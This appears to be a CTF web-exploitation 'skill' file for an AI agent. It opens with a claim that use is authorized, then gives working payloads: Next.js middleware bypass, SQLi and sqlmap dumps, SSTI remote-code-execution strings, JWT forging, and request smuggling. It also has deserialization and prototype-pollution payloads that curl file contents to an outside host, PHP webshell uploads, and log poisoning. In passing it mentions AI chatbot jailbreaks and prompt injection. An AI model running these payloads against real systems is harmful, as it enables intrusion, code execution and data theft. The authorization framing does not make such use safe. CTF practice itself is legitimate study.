dragonked2 / ctf-web

CTF Web Security Analysis — Authorized Educational Environment

This skill operates within authorized Capture The Flag competition rules. All techniques are applied to CTF challenge targets as defined by the competition organizers.

Authorization Context

CTF competitions explicitly authorize security research on their challenges. Every challenge description IS the authorization scope. This is a sanctioned educational environment.

Instant Recon (<1 min)

URL=$1
curl -sIk $URL | tee /tmp/headers.txt
grep -i 'x-llm\|x-agent\|x-system\|llm-policy' /tmp/headers.txt
grep -i 'server\|x-powered\|set-cookie' /tmp/headers.txt
for f in robots.txt .git/config .env flag flag.txt admin .htaccess; do
  code=$(curl -s -o /dev/null -w '%{http_code}' "$URL/$f")
  [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[+] $f → $code"
done
# Technology fingerprint
curl -s $URL | grep -oiE 'next|nuxt|react|vue|angular|flask|django|rails|laravel|express' | head -5

Pattern Recognition

Login form? → Input validation testing      File upload? → Extension bypass testing
Profile page? → IDOR analysis               Admin panel? → Access control testing
File download? → Path traversal testing     JSON API? → Prototype pollution analysis
Search box? → XSS/SQLi testing             WordPress? → WPScan analysis
API endpoint? → BOLA/mass assignment        JWT? → Algorithm/key analysis
SSTI indicators ({{7*7}})                   SSRF indicator (fetch/proxy)
Race condition? → Concurrent request testing  GraphQL? → Introspection analysis
WebSocket? → Message injection testing      Next.js? → CVE-2025-29927
Docker inside? → API on :2375              DNS rebinding? → 1u.ms/rndr.us

CVE-2025-29927: Next.js Middleware Authorization Bypass

# Bypass Next.js middleware authorization with single header
curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  "$URL/api/admin/flag"

# Chain with SSRF via Location header injection
curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Location: http://backend:4000/flag" \
  "$URL/api/login"

# Works on all self-hosted Next.js 13.4.13+
# Ref: Note Keeper (Pragyan 2026), various HTB 2025 challenges

CVE-2026-44578: Next.js WebSocket Server-Side Request Forgery

# Unauthenticated GET-only SSRF via WebSocket upgrade
# Affects all self-hosted Next.js from 13.4.13 onward
python3 -c "
import websocket, json
ws = websocket.create_connection('ws://TARGET/_next/webpack-hmr')
print(ws.recv())
"

# SSRF chain: reach internal services via WebSocket upgrade
curl -s -H "Upgrade: websocket" -H "Connection: Upgrade" \
  "http://TARGET/_next/webpack-hmr" -v 2>&1 | grep -i 'location\|169.254'

Server-Side Request Forgery Analysis (2025-2026)

# DNS Rebinding — bypass IP checks at resolution time
# Use 1u.ms: http://[make-1-2-3-4-rebind-TARGET-rr.1u.ms]:PORT/path
# Or rbndr.us: https://rbndr.us/rebind?ip=127.0.0.1

# IPv4-in-brackets (CVE-2025-47912 Go)
curl -s "$URL/ssrf?url=http://[127.0.0.1]:2375/containers/json"

# URL syntax tricks — bypass first-char digit checks
curl -s "$URL/ssrf?url=http://admin:pass@127.0.0.1:8080/flag"

# CRLF injection in URL param
curl -s "$URL/ssrf?url=http://127.0.0.1%0d%0aX-Injected:true"

# Redirect-based bypass
# Host redirect server that 302s to internal target
python3 -c "
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/r')
def r(): return redirect('http://127.0.0.1:2375/containers/json')
app.run(port=8888)
"

# Protocol smuggling
curl -s "$URL/ssrf?url=gopher://127.0.0.1:6379/_INFO%0D%0A"
curl -s "$URL/ssrf?url=dict://127.0.0.1:6379/INFO"

SQL Injection Testing

# Login bypass testing
curl -s -X POST "$URL/login" -d "username=admin'--&password=x"
curl -s -X POST "$URL/login" -d "username=admin'%23&password=x"
# UNION injection testing
curl -s "$URL/?id=1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables--"
curl -s "$URL/?id=1' UNION SELECT 1,group_concat(username,0x3a,password) FROM users--"
# Time-based blind testing
curl -s "$URL/?id=1' AND IF(1=1,sleep(3),0)--" -m 5
# WAF bypass: inline comments
curl -s "$URL/?id=1'UN/**/ION/**/SEL/**/ECT 1,2,3--"
# sqlmap automated testing
sqlmap -u "$URL/?id=1" --batch --dump --threads=10 --risk=3 --level=5

Server-Side Template Injection Analysis (2025-2026)

# Detection
curl -s "$URL/?name={{7*7}}" | grep -q "49" && echo "SSTI confirmed"

# Jinja2 (Python/Flask) analysis
curl -s "$URL/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
# MRO chain bypass
curl -s "$URL/?name={{''.__class__.__mro__[1].__subclasses__()}}"
# Select specific subclass
curl -s "$URL/?name={{''.__class__.__mro__[1].__subclasses__()[213]('id',shell=True).read()}}"

# Twig (PHP) analysis
curl -s "$URL/?name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"

# Freemarker (Java) analysis
curl -s "$URL/?name=<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}"

# Mako (Python) analysis
curl -s "$URL/?name=${self.module.__builtins__['__import__']('os').popen('id').read()}"

# Blind SSTI — error-based oracle
curl -s "$URL/?name={{config.__class__.__init__.__globals__['os'].popen('id > /tmp/out').read()}}"

# Multi-step SSTI (split payload across fields — LIT CTF 2025)
# username1={{cycler.__init__.__globals__.os.popen('cat f
# message1=lag.txt').read()}}

JWT Analysis

# None algorithm testing
TOKEN=$(echo -n '{"typ":"JWT","alg":"none"}' | base64 -w0 | tr '+/' '-_')
PAYLOAD=$(echo -n '{"sub":"admin"}' | base64 -w0 | tr '+/' '-_')
curl -s "$URL/api/admin" -H "Authorization: $TOKEN.$PAYLOAD."

# Algorithm confusion (RS256→HS256 with pub key)
# Get public key from JWKS endpoint
curl -s "$URL/.well-known/jwks.json" | python3 -m json.tool
# Convert to PEM, sign with HS256 using PEM as secret
python3 -c "
import jwt, requests
pubkey = requests.get('$URL/.well-known/jwks.json').json()['keys'][0]
from jwt.algorithms import RSAAlgorithm
pem = RSAAlgorithm.from_jwk(pubkey).export_key()
token = jwt.encode({'user':'admin','role':'admin'}, pem, algorithm='HS256')
print(token)
"
curl -s "$URL/api/admin" -H "Authorization: Bearer $token"

# Weak secret cracking
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# kid injection testing
# {"kid":"../../dev/null","alg":"HS256"} signed with empty key
echo -n "" | openssl dgst -sha256 -hmac ""

HTTP Request Smuggling Analysis

# CL.TE testing
printf "POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG" | nc target 80
# TE obfuscation (WAF bypass)
curl -s "$URL" -H "Transfer-Encoding : chunked"
curl -s "$URL" -H "Transfer-Encoding: cow"
# Smuggle + SSRF chain (DEF CON CTF 2024 style)
printf "POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 44\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n" | nc target 80

Deserialization Analysis

PHP

# Object injection testing
curl -s "$URL" -d 'data=O:8:"GameOver":1:{s:5:"email";s:29:"evil@example.com";}'
# PHP filter chain (LFI→RCE)
curl -s "$URL/?file=php://filter/convert.base64-encode/resource=index.php" | base64 -d
# SoapClient CRLF SSRF via deserialization
php -r '
class SoapClient {
    private $_user_agent = "x\r\nX-Injected: true";
    function __construct() { $this->_stream_context = stream_context_create(["http" => ["header" => "x"]]); }
}
echo urlencode(serialize(new SoapClient()));
'

Java (ysoserial)

java -jar ysoserial.jar CommonsCollections1 'curl http://researcher.com/?f=$(cat /flag)' > payload.bin
curl -s "$URL" -H "Cookie: session=$(base64 -w0 payload.bin)"

Python (pickle)

python3 -c "
import pickle,os,base64
class E:
    def __reduce__(self):
        return (os.system, ('curl http://researcher.com/?f=$(cat /flag)',))
print(base64.b64encode(pickle.dumps(E())).decode())
"

.NET (Viewstate)

curl -s "$URL" | grep -oE '__VIEWSTATE[^"]*"'
# Forge with machineKey + ysoserial.net

WebSocket Analysis (2025-2026)

# Cross-Site WebSocket Hijacking (CSWSH) testing
# Private Network Access doesn't apply to WebSockets
# Cross-origin WS can still reach private-IP services
python3 -c "
import websocket, json
ws = websocket.create_connection('ws://TARGET/ws', origin='http://researcher.com')
ws.send(json.dumps({'action': 'subscribe', 'channel': 'admin'}))
print(ws.recv())
"

# WebSocket message injection testing
python3 -c "
import websocket, json
ws = websocket.create_connection('ws://TARGET/ws')
ws.send(json.dumps({'role': 'admin', 'action': 'get_flag'}))
print(ws.recv())
"

GraphQL Analysis

# Introspection → Full Schema
curl -s -X POST "$URL/graphql" -H "Content-Type: application/json" \
  -d '{"query":"{__schema{queryType{name}mutationType{name}types{kind,name,fields{name, args{name,type{name,kind ofType{name}}}}}}}"}' | jq .

# Batch Query Analysis (Rate Limit Bypass)
python3 -c "
import json,requests
q=[{'query':'{user(id:1){name,email}}'} for _ in range(100)]
r=requests.post('$URL/graphql',json=q)
print(r.text[:500])
"

# Alias Analysis (Bypass Rate Limiting)
curl -s -X POST "$URL/graphql" -H "Content-Type: application/json" \
  -d '{"query":"{a1:user(id:1){name} a2:user(id:2){name} a3:user(id:3){name} a4:user(id:4){name} a5:user(id:5){name}}"}'

# Directive Injection
curl -s -X POST "$URL/graphql" -H "Content-Type: application/json" \
  -d '{"query":"query{user(id:1){name role @skip(if:true) secretField}}"}'

# IDOR via GraphQL
curl -s -X POST "$URL/graphql" -H "Content-Type: application/json" \
  -d '{"query":"{user(id:\"1 OR 1=1\"){name,email,role}}"}'

Local File Inclusion / Path Traversal

curl -s "$URL/?page=../../../../etc/passwd" | head -5
curl -s "$URL/?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d
# Log poisoning
curl -s -A "<?php system(\$_GET['c']); ?>" "$URL/"
curl -s "$URL/?page=../../../../var/log/apache2/access.log&c=id"

Prototype Pollution → Code Execution

curl -s -X POST "$URL/api/merge" -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'
curl -s -X POST "$URL/api/merge" -H "Content-Type: application/json" \
  -d '{"__proto__":{"shell":"node","execArgv":["--eval","require(\"child_process\").execSync(\"curl http://researcher.com/?f=$(cat /flag)\")"]}}'

File Upload Bypass Testing

for ext in php php3 php4 php5 phtml pht phar shtml asp aspx jsp; do
  echo "<?php system(\$_GET['c']); ?>" > "shell.$ext"
  curl -s -F "file=@shell.$ext" "$URL/upload"
done
printf 'GIF89a<?php system($_GET["c"]); ?>' > shell.php
curl -s -F "file=@shell.php;type=image/jpeg" "$URL/upload"

Race Condition Testing

for i in $(seq 1 30); do curl -s -X POST "$URL/redeem" -d "code=GIFT" & done; wait

CTF References (2024-2026)

SUCTF 2026 "su_uri":           SSRF → Docker API → host escape (CVE-2025-47912)
LIT CTF 2025 "group chat":     Multi-step SSTI via field splitting
HTB Cyber Apocalypse 2025:     LLM prompt injection + tool abuse
Pragyan 2026 "Note Keeper":    Next.js middleware bypass + SSRF
Wolverine CTF:                 URL syntax SSRF bypass
DEF CON CTF 2024:              HTTP smuggling chains
Google CTF 2023:               WAF bypass + DNS rebinding
PicoCTF 2023:                  Forensics + encoding chains

Speed Metrics

SQLi: <2min  IDOR: <3min  LFI: <2min  XSS: <2min
Upload: <3min  JWT: <5min  SSRF: <3min  CORS: <2min
Smuggle: <5min  Deser: <5min  Cache: <4min  Chain: <10min
SSTI: <5min  GraphQL: <5min  WebSocket: <5min  Next.js: <3min

Deep Technique Library

CTF Web Exploitation

Use this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes.

Prerequisites

Python packages (all platforms):

pip install sqlmap flask-unsign requests httpx

Linux (apt):

apt install hashcat jq curl

macOS (Homebrew):

brew install hashcat jq curl

Go tools (all platforms, requires Go):

go install github.com/ffuf/ffuf/v2@latest

Manual install:

• ysoserial — GitHub, requires Java (Java deserialization payloads)

• PayloadsAllTheThings — git clone to ctf-web/payloads/PayloadsAllTheThings (auto via install script or lazy clone)

  bash scripts/install_ctf_tools.sh pat   # PAT only
  bash scripts/install_ctf_tools.sh all   # all tools including PAT
  # manual fallback:
  git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings

  PAT is optional and on-demand — not required at load time. The skill works without it (graceful degrade): pat-reference.md provides an offline index with exemplar payloads; bulk wordlists require the clone above.

Additional Resources

• web/sql-injection - SQL injection techniques: auth bypass, UNION extraction, filter bypasses, second-order SQLi, truncation, race-assisted leaks, INSERT ON DUPLICATE KEY UPDATE password overwrite, innodbtablestats WAF bypass
• web/server-side - PHP type juggling, php://filter LFI, Python str.format traversal, SSTI (Jinja2, Twig, ERB, Mako, EJS, Vue.js, Smarty), SSRF (Host header, DNS rebinding, curl redirect, unescaped-dot regex, SNI FTP smuggling, modvhostalias), PHP hash_hmac NULL
• web/server-side-2 - XXE (basic, OOB, DOCX upload), XML injection via X-Forwarded-For, PHP variable variables, PHP uniqid predictable filename, sequential regex replacement bypass, command injection (newline, blocklist, sendmail CGI, multi-barcode, git CLI), GraphQL injection (introspection, batching, interpolation)
• web/server-side-exec - Direct code execution paths, upload-to-RCE, deserialization-adjacent execution, LaTeX injection, header and API abuses
• web/server-side-exec-2 - More execution chains: SQLi fragmentation, path parser tricks, polyglot uploads, wrapper abuse, filename injection, BMP pixel webshell with filename truncation
• web/server-side-deser - Java/Python/PHP deserialization and race-condition playbooks, PHP SoapClient CRLF SSRF via deserialization
• web/server-side-advanced - Advanced SSRF, traversal, archive, parser, framework, and modern app-server issues, Nginx alias traversal
• web/server-side-advanced-2 - Docker API SSRF, Castor/XML, Apache expression reads, parser discrepancies, Windows path tricks, rogue MySQL server file read
• web/server-side-advanced-3 - Part 3 (CSAW/35C3/ASIS/PlaidCTF 2018): WAV polyglot upload, multi-slash URL path.startswith bypass, Xalan XSLT math:random() seed guess, SoapClient _user_agent CRLF method smuggling, gopher:/// no-host URL scheme bypass, SSRF credential leak via attacker-specified outbound URL
• web/server-side-advanced-4 - Part 4: WeasyPrint SSRF/file read (CVE-2024-28184), MongoDB regex/$where blind oracle, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, wget CRLF SSRF→SMTP, Gopher SSRF to MySQL blind SQLi, React Server Components Flight RCE (CVE-2025-55182), AMQP/TLS interception via sslsplit+arpspoof, CairoSVG XXE, Bazaar repo reconstruction
• web/client-side - XSS, CSRF, cache poisoning, DOM tricks, admin bot abuse, request smuggling, paywall bypass
• web/client-side-advanced - CSP bypasses, Unicode tricks, XSSI, CSS exfiltration, browser normalization quirks, postMessage null origin bypass
• web/auth-and-access - Auth/authz bypasses, hidden endpoints, IDOR, redirect chains, subdomain takeover, AI chatbot jailbreaks
• web/auth-and-access-2 - Part 2 (2018-era): std::unordered_set bucket collision auth bypass, nodeprep.prepare Unicode homograph username collision, SRP A=0/A=N auth bypass, ArangoDB AQL MERGE privilege escalation
• web/auth-jwt - JWT/JWE manipulation, weak secrets, header injection, key confusion, replay
• web/auth-infra - OAuth/OIDC, SAML, CORS, CI/CD secrets, IdP abuse, login poisoning
• web/node-and-prototype - Prototype pollution, JS sandbox escape, Node.js attack chains
• web/web3 - Solidity and Web3 challenge notes
• web/cves - CVE-driven techniques you can match against challenge banners, headers, dependency leaks, or version strings
• web/field-notes - Long-form exploit notes: quick references for SQLi, XSS, LFI, JWT, SSTI, SSRF, command injection, XXE, deserialization, race conditions, auth bypass, and multi-stage chains
• web/python-requests - Python requests toolkit: session scaffold, Burp-Intruder-like fuzzer (sync + ThreadPoolExecutor + httpx async), payload deploy from pat-reference.md wordlists, header/param spray, cookie/JWT, proxy
• web/pat-reference — PayloadsAllTheThings index: bulk payloads for XSS/SQLi/SSRF/SSTI/LFI/Command Injection/Upload (requires PAT clone, see Prerequisites)

When to Pivot

• If the target is a native binary, custom VM, or firmware image, switch to /ctf-reverse first.
• If the HTTP bug only gives you code execution and the hard part becomes memory corruption or seccomp escape, switch to /ctf-pwn.
• If the "web" challenge really turns on JWT math, custom MACs, or crypto primitives, switch to /ctf-crypto.
• If the web challenge involves analyzing logs, PCAPs, or recovering artifacts from a web server, switch to /ctf-forensics.
• If the challenge requires gathering intelligence from public web sources, DNS records, or social media before exploitation, switch to /ctf-osint.

First-Pass Workflow

1. Identify the real boundary: browser only, backend only, mixed app, or auth flow.
2. Capture one normal request/response pair for every major feature before fuzzing.
3. Enumerate hidden functionality from JS bundles, response headers, routes, and alternate methods.
4. Classify the likely bug family: injection, authz, parser mismatch, upload, trust proxy, state machine, or client-side execution.
5. Build the smallest proof first: leak, bypass, or primitive. Save full exploit chaining for later.

Bulk payloads (PayloadsAllTheThings — on-demand)

This skill works without PAT at load time (graceful degrade): pat-reference.md and inline exemplars are available offline; bulk payloads require a PAT clone. After mapping the trust boundary (First-Pass Workflow), check web/pat-reference for the PAT directory that matches your bug class, then search bulk payloads:

# PAT payload search (requires PAT clone — see Prerequisites; gracefully skipped if missing)
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head
grep -R "onerror" "ctf-web/payloads/PayloadsAllTheThings/XSS Injection" 2>/dev/null | head

Or via agent tools (no clone required for the index itself):

Glob ctf-web/payloads/PayloadsAllTheThings/**/*.md
Grep "union select" ctf-web/payloads/PayloadsAllTheThings

If ctf-web/payloads/PayloadsAllTheThings/.git is missing, the agent lazy-clones on demand:

[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings

Quick Start Commands

# Recon
curl -sI https://target.com
ffuf -u https://target.com/FUZZ -w wordlist.txt
curl -s https://target.com/robots.txt

# SQLi quick test
sqlmap -u "https://target.com/page?id=1" --batch --dbs

# JWT decode (no verification)
echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Cookie decode (Flask)
flask-unsign --decode --cookie '<cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt

# SSTI probes
curl "https://target.com/page?name={{7*7}}"
curl "https://target.com/page?name={{config}}"

# Request inspection
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'

First Questions to Answer

• Is the flag likely in the browser, an API response, a local file, a database row, or an internal service?
• Does the app trust user-controlled data in templates, redirects, file paths, headers, serialized objects, or background jobs?
• Are there multiple parsers disagreeing with each other: proxy vs app, URL parser vs fetcher, sanitizer vs browser, serializer vs filter?
• Can you turn the bug into a smaller primitive first: read one file, forge one token, call one internal endpoint, trigger one bot visit?

High-Value Recon Checks

• Read the HTML, inline scripts, and bundled JS before guessing the API surface.
• Compare what the UI submits with what the backend accepts; optional JSON fields often unlock hidden paths.
• Check obvious metadata and helper paths early: /robots.txt, /sitemap.xml, /.well-known/, /admin, /debug, /.git/, /.env.
• Try alternate verbs and content types on interesting routes: GET, POST, PUT, PATCH, TRACE, JSON, form, multipart, XML.
• Treat file upload, PDF/export, webhook, OAuth callback, and admin bot features as likely exploit multipliers.

Fast Pattern Map

• SQL errors, odd filtering, or state-dependent DB behavior: start with web/sql-injection.
• Templating, file reads, SSRF, command execution, XML, or parser bugs: start with web/server-side and web/server-side-exec.
• XSS, CSP bypass, admin bot, client routing, DOM issues, or scriptless exfiltration: start with web/client-side.
• Session forgery, hidden admin routes, JWT, OAuth, SAML, or weak trust boundaries: start with web/auth-and-access, web/auth-jwt, and web/auth-infra.
• Node.js apps, prototype pollution, VM sandboxes, or SSRF into internal services: add web/node-and-prototype.
• Smart contract frontends or blockchain-integrated apps: add web/web3.

Common Chain Shapes

• Recon -> hidden route -> auth bypass -> internal file read -> token or flag
• XSS or HTML injection -> admin bot -> privileged action -> secret leak
• Traversal or upload -> config/source leak -> secret recovery -> session forgery
• SSRF -> metadata or internal API -> credential leak -> code execution
• SQLi or NoSQL injection -> credential bypass -> second-stage template or upload abuse

Deep-Dive Notes

Use web/field-notes once you have confirmed the challenge is truly web-heavy and you need the long exploit catalog.

• Recon, SQLi, XSS, traversal, JWT, SSTI, SSRF, XXE, and command injection quick notes
• Deserialization, race conditions, file upload to RCE, and multi-stage chain examples
• Node, OAuth/SAML, CI/CD, Web3, bot abuse, CSP bypasses, and modern browser tricks
• CVE-shaped playbooks and older challenge patterns that still show up in modern CTFs

Common Flag Locations

• Files: /flag.txt, /flag, /app/flag.txt, /home/*/flag*
• Environment: /proc/self/environ, process command line, debug config dumps
• Database: tables named flag, flags, secret, or seeded challenge content
• HTTP: custom headers, archived responses, hidden routes, admin exports
• Browser: hidden DOM nodes, data-* attributes, inline state objects, source maps

Deep Technique Files (skill_manage reference)

Load with "skill_manage read, name="ctf", reference="web/<file>""

• web/auth-and-access-2 — # CTF Web - Auth & Access Control Attacks (Part 2)
• web/auth-and-access — # CTF Web - Auth & Access Control Attacks
• web/auth-infra — # CTF Web - OAuth, SAML & Infrastructure Auth Attacks
• web/auth-jwt — # CTF Web - JWT & JWE Token Attacks
• web/client-side-advanced — # CTF Web - Advanced Client-Side Attacks
• web/client-side — # CTF Web - Client-Side Attacks
• web/cves — # CTF Web - CVEs & Browser Vulnerabilities
• web/field-notes — # CTF Web Field Notes
• web/node-and-prototype — # CTF Web - Node.js Prototype Pollution & VM Escape
• web/pat-reference — # PayloadsAllTheThings Reference Index
• web/python-requests — # Python Requests Toolkit — Burp Intruder in Python
• web/server-side-2 — # CTF Web - XXE, XML Injection, Command Injection, GraphQL
• web/server-side-advanced-2 — # CTF Web - Advanced Server-Side Techniques (Part 2)
• web/server-side-advanced-3 — # CTF Web - Advanced Server-Side Techniques (Part 3)
• web/server-side-advanced-4 — # Server-Side Advanced Techniques (Part 4)
• web/server-side-advanced — # CTF Web - Advanced Server-Side Techniques
• web/server-side-deser — # CTF Web - Deserialization & Execution Attacks
• web/server-side-exec-2 — # CTF Web - Server-Side Code Execution & Access Attacks (Part 2)
• web/server-side-exec — # CTF Web - Server-Side Code Execution & Access Attacks
• web/server-side — # CTF Web - Server-Side Injection Attacks
• web/sql-injection — # CTF Web - SQL Injection Techniques
• web/web3 — # CTF Web - Web3 / Blockchain Challenges

Helper Scripts

• web/scripts/async_fuzz.py — runnable via skill_manage read + write to disk